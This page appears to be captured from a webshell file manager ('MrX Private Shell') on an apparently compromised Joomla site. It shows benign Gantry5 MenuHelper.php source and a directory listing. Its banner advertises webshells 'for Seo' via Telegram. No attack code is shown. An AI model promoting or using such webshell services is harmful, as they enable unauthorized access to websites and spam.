__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Table\Table;
use Joomla\Component\Menus\Administrator\Model\ItemModel; // Joomla 4
use Joomla\Component\Menus\Administrator\Table\MenuTable; // Joomla 4
use Joomla\Component\Menus\Administrator\Table\MenuTypeTable; // Joomla 4
/**
* Joomla style helper.
*/
class MenuHelper
{
/**
* @param int|array|null $id
* @return \JTableMenu|MenuTable
*/
public static function getMenu($id = null)
{
$model = static::loadModel();
$table = $model->getTable();
if (null !== $id) {
if (!is_array($id)) {
$id = ['id' => $id, 'client_id' => 0];
}
$table->load($id);
}
return $table;
}
/**
* @param int|array|null $id
* @return \JTableMenuType|MenuTypeTable
*/
public static function getMenuType($id = null)
{
$model = static::loadModel();
$table = $model->getTable('MenuType');
if (!$table) {
// Joomla 3 support.
$table = Table::getInstance('MenuType');
}
if (null !== $id) {
if (!is_array($id)) {
$id = ['menutype' => $id];
}
$table->load($id);
}
return $table;
}
/**
* @param string $name
* @return ItemModel|\MenusModelItem
*/
private static function loadModel($name = 'Item')
{
static $model = [];
if (!isset($model[$name])) {
if (version_compare(JVERSION, '4', '<')) {
// Joomla 3 support.
$path = JPATH_ADMINISTRATOR . '/components/com_menus/';
$filename = strtolower($name);
$className = "\\MenusModel{$name}";
Table::addIncludePath(JPATH_LIBRARIES . '/legacy/table/');
Table::addIncludePath("{$path}/tables");
require_once "{$path}/models/{$filename}.php";
/** @var CMSApplication $application */
$application = Factory::getApplication();
// Load language strings.
$language = $application->getLanguage();
$language->load('com_menus');
// Load the model.
$model[$name] = new $className();
} else {
// Joomla 4 support.
$application = Factory::getApplication();
$model[$name] = $application->bootComponent('com_menus')
->getMVCFactory()
->createModel($name, 'Administrator', ['ignore_request' => true]);
}
}
return $model[$name];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Assignments | Folder | 0775 |
|
|
| Category | Folder | 0775 |
|
|
| Contact | Folder | 0775 |
|
|
| Content | Folder | 0775 |
|
|
| MenuItem | Folder | 0775 |
|
|
| Module | Folder | 0775 |
|
|
| Object | Folder | 0775 |
|
|
| CacheHelper.php | File | 2.2 KB | 0664 |
|
| Manifest.php | File | 2.39 KB | 0664 |
|
| MenuHelper.php | File | 2.91 KB | 0664 |
|
| StyleHelper.php | File | 5.07 KB | 0664 |
|
| TemplateInstaller.php | File | 425 B | 0664 |
|